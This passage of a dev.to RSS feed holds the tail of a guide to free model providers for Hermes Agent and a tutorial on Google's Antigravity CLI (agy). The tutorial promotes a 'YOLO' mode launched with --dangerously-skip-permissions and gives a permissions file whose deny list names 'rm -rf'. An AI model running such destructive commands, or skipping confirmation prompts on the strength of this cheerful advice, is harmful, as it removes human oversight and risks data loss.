&lt;p&gt;Because Hermes supports OpenRouter natively, you can point it at any of those free models immediately. This is the best option if you want to compare how Hermes behaves across different underlying models without managing multiple accounts.&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;nvidia-nim&quot; href=&quot;https://dev.to/dalenguyen/free-model-providers-to-use-with-hermes-agent-13l9#nvidia-nim&quot;&gt;
  &lt;/a&gt;
  NVIDIA NIM
&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://build.nvidia.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;NVIDIA NIM&lt;/a&gt; gives you free API credits on signup with no credit card required. The catalog includes 80+ models — Llama 4, Qwen, Mistral, and NousResearch&#39;s own Hermes 3 model — at roughly 40 requests per minute. Credits do not expire.&lt;/p&gt;

&lt;p&gt;NIM is the best free option if you specifically want to run a NousResearch model underneath Hermes Agent, since it hosts the Hermes 3 fine-tune directly.&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;hugging-face&quot; href=&quot;https://dev.to/dalenguyen/free-model-providers-to-use-with-hermes-agent-13l9#hugging-face&quot;&gt;
  &lt;/a&gt;
  Hugging Face
&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://huggingface.co/docs/inference-providers&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Hugging Face Inference Providers&lt;/a&gt; gives every account monthly free credits routed across a network of inference providers (Groq, Together, SambaNova, and others). Hermes Agent supports HuggingFace natively.&lt;/p&gt;

&lt;p&gt;The free tier is best for trying niche or smaller models. Cold starts can be slow on the free tier, so it is less suitable for long interactive sessions but fine for batch tasks or evaluation.&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;novitaai&quot; href=&quot;https://dev.to/dalenguyen/free-model-providers-to-use-with-hermes-agent-13l9#novitaai&quot;&gt;
  &lt;/a&gt;
  NovitaAI
&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://novita.ai/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;NovitaAI&lt;/a&gt; is a cost-efficient inference provider with a generous free tier for new accounts. Hermes supports it natively. It is worth trying if OpenRouter and NVIDIA NIM rate limits become a bottleneck during heavy agent development.&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;kimi-moonshot&quot; href=&quot;https://dev.to/dalenguyen/free-model-providers-to-use-with-hermes-agent-13l9#kimi-moonshot&quot;&gt;
  &lt;/a&gt;
  Kimi / Moonshot
&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://kimi.moonshot.cn/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Kimi&lt;/a&gt; (by Moonshot AI) offers a free tier with long-context models. Hermes Agent lists it as a supported provider. Particularly useful if your agent tasks involve processing large documents or long conversation histories that would exhaust the context windows of other free-tier models.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;provider-comparison-at-a-glance&quot; href=&quot;https://dev.to/dalenguyen/free-model-providers-to-use-with-hermes-agent-13l9#provider-comparison-at-a-glance&quot;&gt;
  &lt;/a&gt;
  Provider comparison at a glance
&lt;/h2&gt;

&lt;div class=&quot;table-wrapper-paragraph&quot;&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Provider&lt;/th&gt;
&lt;th&gt;Free Tier&lt;/th&gt;
&lt;th&gt;Best for with Hermes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://nousresearch.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;&lt;strong&gt;Nous Portal&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Check on signup&lt;/td&gt;
&lt;td&gt;Tightest Hermes integration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://openrouter.ai/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;&lt;strong&gt;OpenRouter&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;200 req/day, 27+ free models&lt;/td&gt;
&lt;td&gt;Model variety, easy switching&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://build.nvidia.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;&lt;strong&gt;NVIDIA NIM&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Credits on signup, no expiry&lt;/td&gt;
&lt;td&gt;Running NousResearch models&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://huggingface.co/docs/inference-providers&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;&lt;strong&gt;Hugging Face&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Monthly credits&lt;/td&gt;
&lt;td&gt;Niche models, batch tasks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://novita.ai/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;&lt;strong&gt;NovitaAI&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Free credits on signup&lt;/td&gt;
&lt;td&gt;Alternative when hitting rate limits&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://kimi.moonshot.cn/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;&lt;strong&gt;Kimi / Moonshot&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Free tier&lt;/td&gt;
&lt;td&gt;Long-context tasks&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  &lt;a name=&quot;tips-for-running-hermes-on-free-tiers&quot; href=&quot;https://dev.to/dalenguyen/free-model-providers-to-use-with-hermes-agent-13l9#tips-for-running-hermes-on-free-tiers&quot;&gt;
  &lt;/a&gt;
  Tips for running Hermes on free tiers
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Rate limits compound in agentic loops.&lt;/strong&gt; Hermes&#39;s learning loop and subagent features can make many model calls per task. At 20 req/min (OpenRouter free), a multi-step task hits the ceiling quickly. Use &lt;code&gt;hermes model&lt;/code&gt; to switch to a provider with a higher limit mid-session, or configure a fallback provider.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Use NVIDIA NIM for NousResearch models specifically.&lt;/strong&gt; If you want the model that Hermes was designed around — the Hermes 3 fine-tune — NIM hosts it directly at &lt;code&gt;nousresearch/hermes-3-llama-3.1-70b&lt;/code&gt;. The free credits cover meaningful development without hitting a daily request cap.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OpenRouter first for exploration.&lt;/strong&gt; Its unified free tier across 27+ models is the fastest way to understand how Hermes Agent behaves with different underlying models. No separate accounts, one key, switch with &lt;code&gt;/model&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Run &lt;code&gt;hermes doctor&lt;/code&gt; when something breaks.&lt;/strong&gt; The built-in diagnostics command checks your provider configuration and surfaces misconfigurations before you spend time debugging the wrong thing.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;summary&quot; href=&quot;https://dev.to/dalenguyen/free-model-providers-to-use-with-hermes-agent-13l9#summary&quot;&gt;
  &lt;/a&gt;
  Summary
&lt;/h2&gt;

&lt;p&gt;Hermes Agent is one of the few open-source agents with a genuine learning loop built in, and its multi-provider support means you are not locked into any single API. To get started for free: install Hermes, run &lt;code&gt;hermes setup&lt;/code&gt;, and connect &lt;a href=&quot;https://openrouter.ai/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;OpenRouter&lt;/a&gt; or &lt;a href=&quot;https://build.nvidia.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;NVIDIA NIM&lt;/a&gt; — both work out of the box with no credit card. Switch models with &lt;code&gt;hermes model&lt;/code&gt; as you explore what works best for your use case.&lt;/p&gt;


            </description><link>https://dev.to/dalenguyen/free-model-providers-to-use-with-hermes-agent-13l9</link><guid isPermaLink="false">https://dev.to/dalenguyen/free-model-providers-to-use-with-hermes-agent-13l9</guid><pubDate>Fri, 29 May 2026 04:12:02 GMT</pubDate><author>Dale Nguyen</author><enclosure url="https://media2.dev.to/dynamic/image/width=1000,height=420,fit=cover,gravity=auto,format=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi4smmh8bkkdks9dz3fqx.png" type="image/jpeg"></enclosure><category>ai</category><category>opensource</category><category>agents</category><category>llm</category></item><item><title>Using Google&#39;s New AI Command-Line Assistant: Antigravity CLI (agy) and YOLO&#39;s No-Confirmation Mode</title><description>&lt;p&gt;&lt;a href=&quot;https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvxwgbpizbh9swaodhn2y.png&quot; class=&quot;article-body-image-wrapper&quot;&gt;&lt;img src=&quot;https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvxwgbpizbh9swaodhn2y.png&quot; alt=&quot;image-20260526212403006&quot; loading=&quot;lazy&quot; width=&quot;769&quot; height=&quot;420&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  &lt;a name=&quot;background&quot; href=&quot;https://dev.to/gde/using-googles-new-ai-command-line-assistant-antigravity-cli-agy-and-yolos-no-confirmation-mode-10d#background&quot;&gt;
  &lt;/a&gt;
  Background
&lt;/h1&gt;

&lt;p&gt;With generative AI entering daily development, the AI assistant in the terminal has also ushered in an epic update! If you are a loyal supporter of the original Gemini CLI, you may already know that this tool will be officially retired on &lt;strong&gt;June 18, 2026&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Taking over the torch of this era is Google&#39;s stunning launch at I/O 2026, the next-generation lightweight, Go language-driven multi-agent terminal UI assistant —— &lt;strong&gt;Antigravity CLI (called &lt;code&gt;agy&lt;/code&gt; in the terminal)&lt;/strong&gt;!&lt;/p&gt;

&lt;p&gt;However, the launch of new tools is always accompanied by various pitfalls and surprises. This article will focus on &lt;strong&gt;Antigravity CLI (agy)&lt;/strong&gt;, revealing how to deal with the &quot;invisible color scheme hell&quot;, how to enable the addictive &lt;strong&gt;YOLO no-confirmation frenzy mode&lt;/strong&gt;, and those terminal black technologies and setting secrets hidden deep within &lt;code&gt;settings.json&lt;/code&gt;!&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0ga3z2bl9040httext94.png&quot; class=&quot;article-body-image-wrapper&quot;&gt;&lt;img src=&quot;https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0ga3z2bl9040httext94.png&quot; alt=&quot;image-20260526212808645&quot; loading=&quot;lazy&quot; width=&quot;610&quot; height=&quot;362&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/a&gt;&lt;/p&gt;


&lt;hr&gt;

&lt;h1&gt;
  &lt;a name=&quot;step-1-antigravity-cli-agy-color-scheme-savior-for-invisible-text&quot; href=&quot;https://dev.to/gde/using-googles-new-ai-command-line-assistant-antigravity-cli-agy-and-yolos-no-confirmation-mode-10d#step-1-antigravity-cli-agy-color-scheme-savior-for-invisible-text&quot;&gt;
  &lt;/a&gt;
  🛠️ Step 1: Antigravity CLI (agy) Color Scheme Savior for Invisible Text!
&lt;/h1&gt;

&lt;p&gt;When installing and launching &lt;code&gt;agy&lt;/code&gt; for the first time, the first blow that many developers accustomed to macOS / Linux dark background terminals usually face is: &lt;strong&gt;&quot;The font is all black, and the text is completely invisible!&quot;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is because the agy default configuration file may be configured with a light (Light) theme. We don&#39;t need to compromise and change our favorite terminal background, just modify &lt;code&gt;settings.json&lt;/code&gt; and it can be saved with one click!&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;steps-to-fill-the-pit&quot; href=&quot;https://dev.to/gde/using-googles-new-ai-command-line-assistant-antigravity-cli-agy-and-yolos-no-confirmation-mode-10d#steps-to-fill-the-pit&quot;&gt;
  &lt;/a&gt;
  🛠️ Steps to Fill the Pit
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Find the global configuration file for Antigravity CLI, the path is usually: &lt;code&gt;~/.gemini/antigravity-cli/settings.json&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Modify the &lt;code&gt;&quot;colorScheme&quot;&lt;/code&gt; setting value from &lt;code&gt;&quot;light&quot;&lt;/code&gt; to &lt;code&gt;&quot;dark&quot;&lt;/code&gt;:&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;After saving the file and restarting the terminal, all outputs will automatically convert to a high-contrast dark mode color scheme, and your eyes will be saved instantly!&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;


&lt;hr&gt;

&lt;h1&gt;
  &lt;a name=&quot;the-main-event-yolo-mode-unlock-the-no-confirmation-ultimate-move-for-unlimited-automated-execution&quot; href=&quot;https://dev.to/gde/using-googles-new-ai-command-line-assistant-antigravity-cli-agy-and-yolos-no-confirmation-mode-10d#the-main-event-yolo-mode-unlock-the-no-confirmation-ultimate-move-for-unlimited-automated-execution&quot;&gt;
  &lt;/a&gt;
  🔥 The Main Event: YOLO Mode —— Unlock the &quot;No Confirmation&quot; Ultimate Move for Unlimited Automated Execution
&lt;/h1&gt;

&lt;p&gt;&lt;a href=&quot;https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgmd1ril0pft5r8wos2ip.png&quot; class=&quot;article-body-image-wrapper&quot;&gt;&lt;img src=&quot;https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgmd1ril0pft5r8wos2ip.png&quot; alt=&quot;image-20260526212326057&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;150&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When using AI to write code, the most annoying thing is that every time you make a file modification and execute a &lt;code&gt;git&lt;/code&gt; command, the CLI will pop up a question: &quot;Are you sure you want to perform this operation? (y/N)&quot;. This is simply a double torment of fingers and spirit when performing large-scale refactoring or batch tasks.&lt;/p&gt;

&lt;p&gt;To this end, agy provides two levels of &lt;strong&gt;YOLO (You Only Live Once) no-confirmation automatic execution mode&lt;/strong&gt;, allowing AI to smoothly and continuously execute autonomously until the task is completed:&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;1-extreme-yolo-raw-dangerouslyskippermissions-endraw-parameter&quot; href=&quot;https://dev.to/gde/using-googles-new-ai-command-line-assistant-antigravity-cli-agy-and-yolos-no-confirmation-mode-10d#1-extreme-yolo-raw-dangerouslyskippermissions-endraw-parameter&quot;&gt;
  &lt;/a&gt;
  1. ⚡ Extreme YOLO: &lt;code&gt;--dangerously-skip-permissions&lt;/code&gt; Parameter
&lt;/h3&gt;

&lt;p&gt;If you are in a completely isolated and secure sandbox environment, or have 100% confidence in the instructions generated by AI, you can add this ultimate move when starting:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight plaintext&quot;&gt;&lt;code&gt;agy --dangerously-skip-permissions

&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Once this Flag is added, agy will completely skip all tool authorization and command execution confirmation prompts, and enter an &quot;all the way to the top&quot; automatic execution state. Suitable for letting it run complex automated tests or file migrations on its own!&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;2-moderate-control-raw-permissions-endraw-finegrained-settings&quot; href=&quot;https://dev.to/gde/using-googles-new-ai-command-line-assistant-antigravity-cli-agy-and-yolos-no-confirmation-mode-10d#2-moderate-control-raw-permissions-endraw-finegrained-settings&quot;&gt;
  &lt;/a&gt;
  2. 🛡️ Moderate Control: &lt;code&gt;/permissions&lt;/code&gt; Fine-grained Settings
&lt;/h3&gt;

&lt;p&gt;If you don&#39;t want to risk the AI executing &lt;code&gt;rm -rf&lt;/code&gt;, you can directly enter &lt;code&gt;/permissions&lt;/code&gt; in the CLI or directly modify &lt;code&gt;settings.json&lt;/code&gt;. Through a whitelist mechanism, only specific commands or paths are automatically approved:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight plaintext&quot;&gt;&lt;code&gt;{
  &quot;permissions&quot;: {
    &quot;allow&quot;: [
      &quot;read_file(/Users/al03034132/Documents)&quot;,
      &quot;command(git)&quot;,
      &quot;command(npm test)&quot;
    ],
    &quot;deny&quot;: [
      &quot;command(rm -rf)&quot;
    ]
  }
}

&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;This way, you can allow Git operations and unit tests to enter the YOLO no-confirmation state, while also ensuring the security of the core file system!&lt;/p&gt;


&lt;hr&gt;

&lt;h1&gt;
  &lt;a name=&quot;those-unknown-agy-black-technologies-and-setting-secrets&quot; href=&quot;https://dev.to/gde/using-googles-new-ai-command-line-assistant-antigravity-cli-agy-and-yolos-no-confirmation-mode-10d#those-unknown-agy-black-technologies-and-setting-secrets&quot;&gt;
  &lt;/a&gt;
  🤫 Those Unknown agy Black Technologies and Setting Secrets
&lt;/h1&gt;

&lt;p&gt;As Google&#39;s latest official Code-first agent weapon, agy also has several hidden functions deep within the configuration file and commands, which are rarely seen in newspapers:&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;1-asynchronous-subagents&quot; href=&quot;https://dev.to/gde/using-googles-new-ai-command-line-assistant-antigravity-cli-agy-and-yolos-no-confirmation-mode-10d#1-asynchronous-subagents&quot;&gt;
  &lt;/a&gt;
  🧩 1. Asynchronous Subagents
&lt;/h3&gt;

&lt;p&gt;This is definitely agy&#39;s most revolutionary multi-agent architecture! You can directly call multiple subagents in the terminal to run complex tasks in the background:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  For example: one subagent goes online to check the latest API documentation, one runs unit tests in the background, and one performs code refactoring.&lt;/li&gt;
&lt;li&gt;  And your main terminal will not be blocked at all! You can enter &lt;code&gt;/agents&lt;/code&gt; to monitor the health and execution progress of all subagents in the background at any time.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  &lt;a name=&quot;2-change-brains-at-any-time-raw-model-endraw-secret&quot; href=&quot;https://dev.to/gde/using-googles-new-ai-command-line-assistant-antigravity-cli-agy-and-yolos-no-confirmation-mode-10d#2-change-brains-at-any-time-raw-model-endraw-secret&quot;&gt;
  &lt;/a&gt;
  🧠 2. Change Brains at Any Time: &lt;code&gt;/model&lt;/code&gt; Secret
&lt;/h3&gt;

&lt;p&gt;agy not only supports the Gemini series models on Vertex AI, but if you need to, you can also use the built-in &lt;code&gt;/model&lt;/code&gt; slash command to directly switch seamlessly between Gemini, Claude, and even other open-source models with one click, helping you verify the same bug with different thinking models, which is super convenient!&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;3-multioperating-system-level-security-sandbox-terminal-sandbox&quot; href=&quot;https://dev.to/gde/using-googles-new-ai-command-line-assistant-antigravity-cli-agy-and-yolos-no-confirmation-mode-10d#3-multioperating-system-level-security-sandbox-terminal-sandbox&quot;&gt;
  &lt;/a&gt;
  🛡️ 3. Multi-Operating System Level Security Sandbox (Terminal Sandbox)
&lt;/h3&gt;

&lt;p&gt;In order to prevent AI from running out of control malicious code in YOLO mode, agy silently implements operating system level sandbox protection at the bottom!&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;code&gt;nsjail&lt;/code&gt; isolation will be automatically enabled on Linux.&lt;/li&gt;
&lt;li&gt;  macOS will automatically call the system&#39;s native &lt;code&gt;sandbox-exec&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;  Even if AI writes a script that pollutes the file system, it will be perfectly confined in the sandbox and unable to move!&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  &lt;a name=&quot;4-upgrade-old-things-seamless-migration-mechanism-from-gemini-cli&quot; href=&quot;https://dev.to/gde/using-googles-new-ai-command-line-assistant-antigravity-cli-agy-and-yolos-no-confirmation-mode-10d#4-upgrade-old-things-seamless-migration-mechanism-from-gemini-cli&quot;&gt;
  &lt;/a&gt;
  📦 4. Upgrade Old Things: Seamless Migration Mechanism from Gemini CLI
&lt;/h3&gt;

&lt;p&gt;Although Gemini CLI has gone down in history, agy has thoughtfully designed a &quot;one-click import tool&quot;. When you start agy for the first time, it will automatically scan the old configuration path and perfectly align and migrate your original plugins, custom skills, and &lt;code&gt;settings.json&lt;/code&gt; accumulated in Gemini CLI!&lt;/p&gt;


&lt;hr&gt;

&lt;h1&gt;
  &lt;a name=&quot;summary-and-suggestions&quot; href=&quot;https://dev.to/gde/using-googles-new-ai-command-line-assistant-antigravity-cli-agy-and-yolos-no-confirmation-mode-10d#summary-and-suggestions&quot;&gt;
  &lt;/a&gt;
  Summary and Suggestions
&lt;/h1&gt;

&lt;p&gt;The upgrade from Gemini CLI to &lt;strong&gt;Antigravity CLI (agy)&lt;/strong&gt; is not just a change in the command line name, but a leap forward from single-model question and answer to &lt;strong&gt;Multi-Agent Workflows&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;By properly setting &lt;code&gt;permissions&lt;/code&gt; in &lt;code&gt;settings.json&lt;/code&gt;, combined with the no-confirmation function of YOLO mode, developers can allow AI to automatically and smoothly complete various medium and large tasks while ensuring the security of the host.&lt;/p&gt;

&lt;p&gt;Quickly open your terminal and enter &lt;code&gt;agy --dangerously-skip-permissions&lt;/code&gt; to experience this futuristic development artifact! See you next time for the actual combat!&lt;/p&gt;


            </description><link>https://dev.to/gde/using-googles-new-ai-command-line-assistant-antigravity-cli-agy-and-yolos-no-confirmation-mode-10d</link><guid isPermaLink="false">https://dev.to/gde/using-googles-new-ai-command-line-assistant-antigravity-cli-agy-and-yolos-no-confirmation-mode-10d</guid><pubDate>Wed, 27 May 2026 09:44:36 GMT</pubDate><author>Evan Lin</author><category>ai</category><category>cli</category><category>google</category><category>productivity</category></item></channel></rss>